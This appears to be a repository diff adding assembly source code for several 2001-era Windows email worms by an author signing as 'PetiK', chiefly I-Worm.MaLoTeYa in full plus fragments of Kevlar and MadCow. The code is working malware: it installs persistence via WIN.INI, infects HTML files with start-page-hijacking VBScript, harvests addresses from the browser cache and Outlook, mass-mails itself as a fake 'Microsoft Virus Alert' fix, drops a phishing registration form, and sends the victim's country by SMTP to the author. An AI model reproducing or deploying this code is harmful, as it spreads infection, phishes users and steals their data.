dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset m_addr
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset CopyName2
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
|
||||
|
||||
htmd:
|
||||
db '<html><head><title>PetiKVX come back</title></head><body>',0dh,0ah
|
||||
db '<script language=vbscript>',0dh,0ah
|
||||
db 'on error resume next',0dh,0ah
|
||||
db 'set fso=createobject("scripting.filesystemobject")',0dh,0ah
|
||||
db 'If err.number=429 then',0dh,0ah
|
||||
db 'document.write "<font face=''verdana'' size=''2'' color=''#FF0000''>'
|
||||
db 'You need ActiveX enabled to see this file<br><a href=''javascript:location.reload()''>'
|
||||
db 'Click Here</a> to reload and click Yes</font>"',0dh,0ah
|
||||
db 'Else',0dh,0ah
|
||||
db 'Set ws=CreateObject("WScript.Shell")',0dh,0ah
|
||||
db 'document.write "<font face=''verdana'' size=''3'' color=red>'
|
||||
db 'This page is generate by a worm<br>But this worm is proteced by Kevlar<br></font>"',0dh,0ah
|
||||
db 'document.write "<font face=''verdana'' size=''2'' color=blue><br>'
|
||||
db 'Worms are not dangerous for your computer but to survive, they must be strong</font>"',0dh,0ah
|
||||
db 'ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.avp.ch"',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db '</script></html>',00h
|
||||
HTMSIZE = $-htmd
|
||||
|
||||
vbsd:
|
||||
db 'On Error Resume Next',0dh,0ah
|
||||
db 'Set Kevlar = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = Kevlar.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'Set f=CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'Set c=f.CreateTextFile(f.GetSpecialFolder(0)&"\AddBook.txt")',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'For Each M In L.AddressLists',0dh,0ah
|
||||
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
|
||||
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
|
||||
db 'Set P = M.AddressEntries(O)',0dh,0ah
|
||||
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine P.Address',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db 'Next',0dh,0ah
|
||||
db 'Set c=f.OpenTextFile(f.GetSpecialFolder(0)&"\AddBook.txt",8,true)',0dh,0ah
|
||||
db 'c.WriteLine "!"',0dh,0ah
|
||||
db 'c.Close',0dh,0ah
|
||||
VBSSIZE = $-vbsd
|
||||
|
||||
signature db "I-Worm.Kevlar coded by PetiK (c)2001",00h
|
||||
|
||||
|
||||
MAX_PATH equ 260
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
|
||||
end DEBUT
|
||||
end
|
2048
Win32/I-Worm.M4&VR.asm
Normal file
2048
Win32/I-Worm.M4&VR.asm
Normal file
File diff suppressed because it is too large
Load Diff
754
Win32/I-Worm.MaLoTeYa.asm
Normal file
754
Win32/I-Worm.MaLoTeYa.asm
Normal file
@ -0,0 +1,754 @@
|
||||
comment #
|
||||
Name : I-Worm.MaLoTeYa
|
||||
Author : PetiK
|
||||
Date : July 2nd - July 6th
|
||||
Size : 12288 byte
|
||||
|
||||
Action: It copies itself to \WINDOWS\RUNW32.EXE and to \WINDOWS\SYSTEM\MSVA.EXE. It alters the
|
||||
run= line and creates the VARegistered.htm file in the StartUp folder. This file send some
|
||||
informations to petik@multimania.com and displays a fake message.
|
||||
If the version of the platform is Windows 95/98, the file is a service process.
|
||||
It infects all *.htm and *.html file while writing at the end a VB script. It checks after
|
||||
if exist a internet connection and scans all *.htm* files in the "Temporary Internet Files"
|
||||
to find some EMail addreses and send a copy of itself. The worms sends equally an email to
|
||||
"petik@multimania.com" with the country of the user. When the user want to see the
|
||||
system properties, the title of the window is changed by "PetiK always is with you :-)".
|
||||
|
||||
Greets to Benny, ZeMacroKiller98, Mandragore.
|
||||
|
||||
tasm32 /M /ML Maloteya
|
||||
tlink32 -Tpe -aa -x Maloteya,,,import32
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
;----------------------------------------
|
||||
;Installation of the worm in the computer
|
||||
;----------------------------------------
|
||||
DEBUT:
|
||||
VERIF: push 00h
|
||||
callx GetModuleFileNameA
|
||||
push 50h
|
||||
push offset szOrig
|
||||
push eax
|
||||
callx GetModuleFileNameA
|
||||
|
||||
push 50h
|
||||
push offset szCopie
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\RUNW32.EXE"
|
||||
push offset szCopie
|
||||
callx lstrcat
|
||||
|
||||
push 50h
|
||||
push offset szCopb
|
||||
callx GetSystemDirectoryA
|
||||
@pushsz "\MSVA.EXE"
|
||||
push offset szCopb
|
||||
callx lstrcat
|
||||
|
||||
push offset szOrig
|
||||
push offset szCopie
|
||||
callx lstrcmp
|
||||
test eax,eax
|
||||
jz CACHE
|
||||
|
||||
COPIE: push 00h
|
||||
push offset szCopie
|
||||
push offset szOrig
|
||||
callx CopyFileA
|
||||
push 00h
|
||||
push offset szCopb
|
||||
push offset szOrig
|
||||
callx CopyFileA
|
||||
|
||||
WININI: push 50
|
||||
push offset szWinini
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\\WIN.INI"
|
||||
push offset szWinini
|
||||
callx lstrcat
|
||||
push offset szWinini
|
||||
push offset szCopie
|
||||
@pushsz "run"
|
||||
@pushsz "windows"
|
||||
callx WritePrivateProfileStringA
|
||||
|
||||
;--------------------------------------------------
|
||||
;Create VARegistered.htm file in the StartUp folder
|
||||
;--------------------------------------------------
|
||||
C_GET: @pushsz "SHELL32.dll"
|
||||
callx LoadLibraryA
|
||||
mov SHELLhdl,eax
|
||||
@pushsz "SHGetSpecialFolderPathA"
|
||||
push SHELLhdl
|
||||
callx GetProcAddress
|
||||
mov getfolder,eax
|
||||
push 00h
|
||||
push 07h ; STARTUP Folder
|
||||
push offset StartUp
|
||||
push 00h
|
||||
call [getfolder]
|
||||
test eax,eax
|
||||
je F_HTM
|
||||
@pushsz "\VARegistered.htm"
|
||||
push offset StartUp
|
||||
callx lstrcat
|
||||
|
||||
HTM: push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
push offset StartUp
|
||||
callx CreateFileA
|
||||
mov [FileHdl],eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push HTMTAILLE
|
||||
push offset htmd
|
||||
push [FileHdl]
|
||||
callx WriteFile
|
||||
push [FileHdl]
|
||||
callx CloseHandle
|
||||
F_HTM: push [SHELLhdl]
|
||||
callx FreeLibrary
|
||||
|
||||
F_MESS: push 1000
|
||||
callx Sleep
|
||||
push 1040h
|
||||
@pushsz "Microsoft Virus Alert"
|
||||
@pushsz "Your system does not appear infected with I-Worm.Magistr"
|
||||
push 00h
|
||||
callx MessageBoxA
|
||||
jmp FIN
|
||||
|
||||
;----------------------------------
|
||||
;Serivice process for Windows 95/98
|
||||
;----------------------------------
|
||||
CACHE: @pushsz "KERNEL32.dll"
|
||||
callx GetModuleHandleA
|
||||
@pushsz "RegisterServiceProcess"
|
||||
push eax
|
||||
callx GetProcAddress
|
||||
xchg ecx,eax
|
||||
jecxz D_INF
|
||||
push 01h
|
||||
push 00h
|
||||
call ecx
|
||||
|
||||
D_INF: push 50
|
||||
push offset szCurrent
|
||||
callx GetCurrentDirectoryA
|
||||
push offset szCurrent
|
||||
callx SetCurrentDirectoryA
|
||||
|
||||
;---------------------------------------------
|
||||
;Infect all *.htm* files of the Windows folder
|
||||
;---------------------------------------------
|
||||
FFF: push offset Search
|
||||
@pushsz "*.htm*" ; Search some *.htm* files...
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je F_INF
|
||||
dec eax
|
||||
mov [htmlHdl],eax
|
||||
|
||||
i_file: call infect ; and infect them
|
||||
|
||||
push offset Search
|
||||
push [htmlHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne i_file
|
||||
push [htmlHdl]
|
||||
callx FindClose
|
||||
F_INF:
|
||||
|
||||
;-----------------------
|
||||
; Check if we r conected
|
||||
;-----------------------
|
||||
NET1: @pushsz "WININET.dll"
|
||||
callx LoadLibraryA
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov WNEThdl,eax
|
||||
@pushsz "InternetGetConnectedState"
|
||||
push WNEThdl
|
||||
callx GetProcAddress
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov netcheck,eax
|
||||
jmp NET2
|
||||
NET2: push 00h
|
||||
push offset Temp
|
||||
call [netcheck] ; Connect to Internet ??
|
||||
dec eax
|
||||
jnz NET2
|
||||
FINNET: push [WNEThdl]
|
||||
callx FreeLibrary
|
||||
|
||||
PAYS: push 50
|
||||
push offset szSystemini
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\Win.ini"
|
||||
push offset szSystemini
|
||||
callx lstrcat
|
||||
push offset szSystemini
|
||||
push 20
|
||||
push offset org_pays
|
||||
push offset Default
|
||||
@pushsz "sCountry"
|
||||
@pushsz "intl"
|
||||
callx GetPrivateProfileStringA
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Send the name of country to "petik@multomania.com" (perhaps bugs)
|
||||
;------------------------------------------------------------------
|
||||
SMTP: push offset WSA_Data ; Winsock
|
||||
push 0101h ; ver 1.1 (W95+)
|
||||
callx WSAStartup
|
||||
or eax,eax
|
||||
jnz INIT
|
||||
|
||||
@pushsz "obelisk.mpt.com.uk"
|
||||
callx gethostbyname ; convert SMTP Name to an IP address
|
||||
xchg ecx,eax
|
||||
jecxz FREE_WIN ; Error ?
|
||||
mov esi,[ecx+12] ; Fetch IP address
|
||||
lodsd
|
||||
push eax
|
||||
pop [ServIP]
|
||||
|
||||
push 00h ; Create Socket
|
||||
push 01h ; SOCK_STREAM
|
||||
push 02h ; AF_INET
|
||||
callx socket
|
||||
mov work_socket,eax
|
||||
inc eax
|
||||
jz FREE_WIN
|
||||
|
||||
push 16 ; Sze of connect strucure
|
||||
call @1 ; Connect structure
|
||||
dw 2 ; Family
|
||||
db 0, 25 ; Port number
|
||||
ServIP dd 0 ; IP of server
|
||||
db 8 dup(0) ; Unused
|
||||
@1:
|
||||
push [work_socket]
|
||||
callx connect
|
||||
inc eax
|
||||
jz CLOSE_SOC
|
||||
|
||||
lea esi,Send_M
|
||||
mov bl,6
|
||||
|
||||
Command_Loop: xor eax,eax
|
||||
|
||||
call @2 ; Time-out:
|
||||
Time_Out: dd 5 ; Seconds
|
||||
dd 0 ; Milliseconds
|
||||
@2:
|
||||
push eax ; Not used (Error)
|
||||
push eax ; Not used (Writeability)
|
||||
call @3
|
||||
Socket_Set: dd 1 ; Socket count
|
||||
work_socket dd 0 ; Socket
|
||||
@3:
|
||||
push eax ; Unused
|
||||
callx select
|
||||
dec eax
|
||||
jnz CLOSE_SOC
|
||||
|
||||
push 00h
|
||||
push 512 ; Received data from socket
|
||||
push offset buf_recv
|
||||
push [work_socket]
|
||||
callx recv
|
||||
xchg ecx,eax ; Connection closed ?
|
||||
jecxz CLOSE_SOC
|
||||
inc ecx ; Error ?
|
||||
jz CLOSE_SOC
|
||||
or ebx,ebx ; Received stuff was QUIT
|
||||
jz CLOSE_SOC ; reply ? then close up.
|
||||
mov al,'2' ; "OK" reply
|
||||
|
||||
cmp bl,2 ; Received stuff was the DATA
|
||||
jne Check_Reply ; reply ?
|
||||
inc eax
|
||||
Check_Reply: scasb
|
||||
je Wait_Ready
|
||||
|
||||
lea esi,Send_M + (5*4)
|
||||
mov bl,1
|
||||
|
||||
Wait_Ready:
|
||||
xor ecx,ecx
|
||||
lea eax,Time_Out
|
||||
push eax
|
||||
push ecx ; not used (Error)
|
||||
lea eax,Socket_Set
|
||||
push eax ; Writeability
|
||||
push ecx ; Not used (Readability)
|
||||
push ecx ; Unused
|
||||
callx select
|
||||
dec eax ; Time-ouit ??
|
||||
jnz CLOSE_SOC
|
||||
|
||||
cld
|
||||
lodsd
|
||||
|
||||
movzx ecx,ax
|
||||
shr eax,16
|
||||
add eax,ebp
|
||||
|
||||
push ecx ; Send command and data to the socket
|
||||
push 00h
|
||||
push ecx ; Size of buffer
|
||||
push eax ; Buffer
|
||||
push [work_socket]
|
||||
callx send
|
||||
pop ecx
|
||||
cmp eax,ecx
|
||||
jne CLOSE_SOC
|
||||
dec ebx
|
||||
jns Command_Loop
|
||||
|
||||
CLOSE_SOC:
|
||||
push [work_socket]
|
||||
callx closesocket
|
||||
FREE_WIN:
|
||||
callx WSACleanup
|
||||
|
||||
|
||||
INIT: @pushsz "MAPI32.dll"
|
||||
callx LoadLibraryA
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov MAPIhdl,eax
|
||||
@pushsz "MAPISendMail"
|
||||
push MAPIhdl
|
||||
callx GetProcAddress
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov sendmail,eax
|
||||
|
||||
D_GET: @pushsz "SHELL32.dll"
|
||||
callx LoadLibraryA
|
||||
mov SHELLhdl,eax
|
||||
@pushsz "SHGetSpecialFolderPathA"
|
||||
push SHELLhdl
|
||||
callx GetProcAddress
|
||||
mov getfolder,eax
|
||||
push 00h
|
||||
push 20h ; MSIE Cache Folder
|
||||
push offset Cache
|
||||
push 00h
|
||||
call [getfolder]
|
||||
push [SHELLhdl]
|
||||
callx FreeLibrary
|
||||
push offset Cache
|
||||
callx SetCurrentDirectoryA
|
||||
|
||||
;-----------------------------------------------------------
|
||||
; Search email addresses into the "Temporary Internet Files"
|
||||
;-----------------------------------------------------------
|
||||
FFF2: push offset Search
|
||||
@pushsz "*.htm*"
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je END_SPREAD
|
||||
dec eax
|
||||
mov [htmlHdl],eax
|
||||
|
||||
i_htm: call infect2
|
||||
|
||||
push offset Search
|
||||
push [htmlHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne i_file
|
||||
push [htmlHdl]
|
||||
callx FindClose
|
||||
|
||||
END_SPREAD:
|
||||
push [MAPIhdl]
|
||||
callx FreeLibrary
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Changes the title of the System Properties window on Wednesday
|
||||
;---------------------------------------------------------------
|
||||
DATE: push offset SystemTime
|
||||
callx GetSystemTime
|
||||
cmp [SystemTime.wDayOfWeek],3
|
||||
jne FIN
|
||||
WIN1: @pushsz "Propriétés Systême"
|
||||
push 00h
|
||||
callx FindWindowA
|
||||
test eax,eax
|
||||
jz WIN2
|
||||
jmp WIN3
|
||||
WIN2: @pushsz "System Properties" ; Change title some windows
|
||||
push 00h
|
||||
callx FindWindowA
|
||||
test eax,eax
|
||||
jz WIN1
|
||||
WIN3: mov edi,eax
|
||||
@pushsz "PetiK always is with you :-)"
|
||||
push edi
|
||||
callx SetWindowTextA
|
||||
jmp WIN1
|
||||
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
infect: pushad
|
||||
mov esi,offset Search.cFileName
|
||||
push esi
|
||||
callx GetFileAttributesA
|
||||
cmp eax,1
|
||||
je end_infect
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
push esi
|
||||
callx CreateFileA
|
||||
xchg eax,edi
|
||||
inc edi
|
||||
je end_infect
|
||||
dec edi
|
||||
push 02h ; FILE_END
|
||||
push 00h
|
||||
push [Dist]
|
||||
push edi
|
||||
callx SetFilePointer
|
||||
push 00h
|
||||
push offset octets
|
||||
push HTMSIZE
|
||||
push offset d_htm
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
push 01h ; READONLY
|
||||
push esi
|
||||
callx SetFileAttributesA
|
||||
end_infect: popad
|
||||
ret
|
||||
|
||||
infect2:pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset Search.cFileName
|
||||
inc eax
|
||||
je END_SPREAD
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h ; PAGE_READONLY
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h ; FILE_MAP_READ
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
xchg eax,ecx
|
||||
jecxz F3
|
||||
|
||||
d_scan_mail:
|
||||
call @melto
|
||||
db 'mailto:'
|
||||
@melto: pop edi
|
||||
scn_mail:
|
||||
pushad
|
||||
push 07h
|
||||
pop ecx
|
||||
rep cmpsb
|
||||
popad
|
||||
je scan_mail
|
||||
inc esi
|
||||
loop scn_mail
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
popad
|
||||
ret
|
||||
|
||||
scan_mail:
|
||||
xor edx,edx
|
||||
add esi,7 ; size of the string "mailto:"
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_car: lodsb ; next character
|
||||
cmp al,' ' ; space ??
|
||||
je car_s
|
||||
cmp al,'"' ; end character ??
|
||||
je car_f
|
||||
cmp al,'''' ; end character ??
|
||||
je car_f
|
||||
cmp al,'@' ; @ character ??
|
||||
jne not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_car ; jmp to nxt char
|
||||
car_s: inc esi
|
||||
jmp p_car
|
||||
car_f: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx ; exist @ ??
|
||||
je d_scan_mail
|
||||
call ENVOIE
|
||||
jmp d_scan_mail
|
||||
|
||||
|
||||
ENVOIE: xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push eax
|
||||
push [MAPIh]
|
||||
call [sendmail]
|
||||
ret
|
||||
|
||||
.data
|
||||
namer db 50 dup (0)
|
||||
szCopb db 50 dup (0)
|
||||
szCopie db 50 dup (0)
|
||||
szCurrent db 50 dup (0)
|
||||
szOrig db 50 dup (0)
|
||||
szSystemini db 50 dup (0)
|
||||
szWinini db 50 dup (0)
|
||||
Cache db 70 dup (0)
|
||||
StartUp db 70 dup (0)
|
||||
m_addr db 128 dup (?)
|
||||
WSA_Data db 400 dup (0)
|
||||
buf_recv db 512 dup (0)
|
||||
Default db 0
|
||||
FileHdl dd ?
|
||||
octets dd ?
|
||||
netcheck dd ?
|
||||
sendmail dd ?
|
||||
getfolder dd ?
|
||||
htmlHdl dd ?
|
||||
MAPIhdl dd ?
|
||||
SHELLhdl dd ?
|
||||
WNEThdl dd ?
|
||||
RegHdl dd ?
|
||||
Dist dd 0
|
||||
Temp dd 0
|
||||
MAPIh dd 0
|
||||
WormName db "I-Worm.MaLoTeYa coded by PetiK (c)2001 (05/07)",00h
|
||||
Origine db "Made In France",00h
|
||||
|
||||
|
||||
|
||||
Message dd ?
|
||||
dd offset sujet
|
||||
dd offset corps
|
||||
dd ?
|
||||
dd offset date
|
||||
dd ?
|
||||
dd 2 ; MAPI_RECEIPT_REQUESTED ??
|
||||
dd offset MsgFrom
|
||||
dd 1 ; MAPI_UNREAD ??
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset AttachDesc
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd offset NameFrom
|
||||
dd offset MailFrom
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1 ; MAIL_TO
|
||||
dd offset NameTo
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
AttachDesc dd ?
|
||||
dd ?
|
||||
dd ? ; character in text to be replaced by attachment
|
||||
dd offset szCopb ; Full path name of attachment file
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
sujet db "New Virus Alert !!",00h
|
||||
corps db "This is a fix against I-Worm.Magistr.",0dh,0ah
|
||||
db "Run the attached file (MSVA.EXE) to detect, repair and "
|
||||
db "protect you against this malicious worm.",00h
|
||||
date db "2001/07/01 15:15",00h ; YYYY/MM//DD HH:MM
|
||||
NameFrom db "Microsoft Virus Alert"
|
||||
MailFrom db "virus_alert@microsoft.com",00h
|
||||
NameTo db "Customer",00h
|
||||
|
||||
Send_M: dw fHELO-dHELO
|
||||
dw fFROM-dFROM
|
||||
dw fRCPT-dRCPT
|
||||
dw fDATA-dDATA
|
||||
dw fMAIL-dMAIL
|
||||
dw fQUIT-dQUIT
|
||||
|
||||
dHELO db 'HELO obelisk.mpt.com.uk',0dh,0ah
|
||||
fHELO:
|
||||
dFROM db 'MAIL FROM:<maloteya@petik.com>',0dh,0ah
|
||||
fFROM:
|
||||
dRCPT db 'RCPT TO:<petik@multimania.com>',0dh,0ah
|
||||
fRCPT:
|
||||
dDATA db 'DATA',0dh,0ah
|
||||
fDATA:
|
||||
dMAIL: db 'From: "MaLoTeYa",<maloteya@petik.com>',0dh,0ah
|
||||
db 'Subject: Long Live the Worm',0dh,0ah
|
||||
db 'Pays d''origine : '
|
||||
org_pays db 20 dup (0)
|
||||
db '',0dh,0ah
|
||||
db '.',0dh,0ah
|
||||
fMAIL:
|
||||
dQUIT db 'QUIT',0dh,0ah
|
||||
fQUIT:
|
||||
|
||||
htmd: db "<html><head><title>Virus Alert Registration</title></head>",0dh,0ah
|
||||
db "<SCRIPT LANGUAGE=""VBScript"">",0dh,0ah
|
||||
db "Sub control",0dh,0ah
|
||||
db "dim i",0dh,0ah
|
||||
db "dim caract",0dh,0ah
|
||||
db "formu.action=""""",0dh,0ah
|
||||
db "If formu.mail.value="""" Then",0dh,0ah
|
||||
db " MsgBox ""Forgotten EMail""",0dh,0ah
|
||||
db " Else",0dh,0ah
|
||||
db " For i= 1 to len(formu.mail.value)",0dh,0ah
|
||||
db " caract=mid(formu.mail.value,i,1)",0dh,0ah
|
||||
db " If caract=""@"" Then",0dh,0ah
|
||||
db " Exit For",0dh,0ah
|
||||
db " End If",0dh,0ah
|
||||
db " Next",0dh,0ah
|
||||
db " If caract=""@"" Then",0dh,0ah
|
||||
db " formu.action=""mailto:petik@multimania.com""",0dh,0ah
|
||||
db " Else",0dh,0ah
|
||||
db " MsgBox ""Invalid EMail""",0dh,0ah
|
||||
db " End If",0dh,0ah
|
||||
db "End If",0dh,0ah
|
||||
db "End Sub",0dh,0ah
|
||||
db "</SCRIPT>",0dh,0ah
|
||||
db "<body bgcolor=white text=black>",0dh,0ah
|
||||
db "<p align=""center""><font size=""5"">Microsoft Virus Alert Registration</font></p>",0dh,0ah
|
||||
db "<p align=""left""><font size=""3"">Please fill out this form. </font>",0dh,0ah
|
||||
db "<font>You must be connected to internet.</font></p>",0dh,0ah
|
||||
db "<p></p>",0dh,0ah
|
||||
db "<form name=""formu"" action method=""POST"" enctype=""text/plan"">",0dh,0ah
|
||||
db "<p>Name : <input name=""nom"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>Firstname : <input name=""prenom"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>City : <input name=""ville"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>Country : <input name=""pays"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p>E-Mail : <input name=""mail"" type=""TEXT"" size=""40""></p>",0dh,0ah
|
||||
db "<p><input type=""submit"" value=""Submit"" name=""B1"" onclick=""control""></p>",0dh,0ah
|
||||
db "<p></p>",0dh,0ah
|
||||
db "<p align=""center""><font><B>AFTER REGISTRATION YOU CAN DELETE THIS FILE</B></font></p>",0dh,0ah
|
||||
db "</form></body></html>",00h
|
||||
HTMTAILLE equ $-htmd
|
||||
|
||||
d_htm: db "",0dh,0ah,0dh,0ah
|
||||
db "<SCRIPT Language=VBScript>",0dh,0ah
|
||||
db "On Error Resume Next",0dh,0ah
|
||||
db "Set fso=CreateObject(""Scripting.FileSystemObject"")",0dh,0ah
|
||||
db "Set ws=CreateObject(""WScript.Shell"")",0dh,0ah
|
||||
db "ws.RegWrite ""HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"",""http://www.petikvx.fr.fm""",0dh,0ah
|
||||
db "document.Write ""<font face='verdana' color=red size='2'>This file is infected by my new virus"
|
||||
db "<br>Written by PetiK (c)2001"
|
||||
db "<br>HTML/W32.MaLoTeYa.Worm<br></font>""",0dh,0ah
|
||||
db "</SCRIPT>",0dh,0ah
|
||||
HTMSIZE equ $-d_htm
|
||||
|
||||
OSVERSIONINFO struct
|
||||
dwOSVersionInfoSize dd ?
|
||||
dwMajorVersion dd ?
|
||||
dwMinorVersion dd ?
|
||||
dwBuildNumber dd ?
|
||||
dwPlatformId dd ?
|
||||
szCSDVersion db 128 dup (?)
|
||||
OSVERSIONINFO ends
|
||||
|
||||
SYSTIME struct
|
||||
wYear WORD ?
|
||||
wMonth WORD ?
|
||||
wDayOfWeek WORD ?
|
||||
wDay WORD ?
|
||||
wHour WORD ?
|
||||
wMinute WORD ?
|
||||
wSecond WORD ?
|
||||
wMillisecond WORD ?
|
||||
SYSTIME ends
|
||||
|
||||
MAX_PATH equ 260
|
||||
|
||||
FILETIME struct
|
||||
dwLowDateTime dd ?
|
||||
dwHighDateTime dd ?
|
||||
FILETIME ends
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime FILETIME ?
|
||||
ftLastAccessTime FILETIME ?
|
||||
ftLastWriteTime FILETIME ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName dd MAX_PATH (?)
|
||||
cAlternateFileName db 13 dup (?)
|
||||
db 3 dup (?)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
OSVer OSVERSIONINFO <>
|
||||
SystemTime SYSTIME <>
|
||||
Search WIN32_FIND_DATA <>
|
||||
|
||||
end DEBUT
|
||||
end
|
353
Win32/I-Worm.MadCow.asm
Normal file
353
Win32/I-Worm.MadCow.asm
Normal file
@ -0,0 +1,353 @@
|
||||
comment * ///// I-Worm.MadCow par PetiK ///// 25/11/2000
|
||||
|
||||
Pour assembler : tasm32 /M /ML madcow.asm
|
||||
tlink32 -Tpe -aa -x madcow.obj,,,import32.lib *
|
||||
|
||||
jumps
|
||||
locals
|
||||
.386
|
||||
.model flat,stdcall
|
||||
|
||||
;KERNEL32.dll
|
||||
extrn lstrcat:PROC
|
||||
extrn WritePrivateProfileStringA:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn CreateDirectoryA:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
extrn GetModuleFileNameA:PROC
|
||||
extrn GetModuleHandleA:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn GetWindowsDirectoryA:PROC
|
||||
extrn MoveFileA:PROC
|
||||
extrn WinExec:PROC
|
||||
extrn WriteFile:PROC
|
||||
|
||||
;ADVAPI32.dll
|
||||
extrn RegSetValueExA:PROC
|
||||
extrn RegCreateKeyExA:PROC
|
||||
extrn RegCloseKey:PROC
|
||||
|
||||
.data
|
||||
regDisp dd 0
|
||||
regResu dd 0
|
||||
l dd 0
|
||||
p dd 0
|
||||
fh dd 0
|
||||
octets dd ?
|
||||
szOrig db 260 dup (0)
|
||||
szOrig2 db 260 dup (0)
|
||||
szCopie db 260 dup (0)
|
||||
szCopi2 db 260 dup (0)
|
||||
szCico db 260 dup (0)
|
||||
szWin db 260 dup (0)
|
||||
Dossier db "C:\Win32",00h
|
||||
fichier db "C:\Win32\Salut.ico",00h
|
||||
Copico db "\MSLS.ICO",00h
|
||||
Copie db "\Wininet32.exe",00h
|
||||
Copie2 db "\MadCow.exe",00h
|
||||
BATFILE db "C:\Win32\ENVOIE.BAT",00h
|
||||
VBSFILE db "C:\Win32\ENVOIE.VBS",00h
|
||||
Winini db "\\WIN.INI",00h
|
||||
run db "run",00h
|
||||
windows db "windows",00h
|
||||
fileini db "C:\Win32\script.ini",00h
|
||||
Copie3 db "C:\Win32\MadCow.exe",00h
|
||||
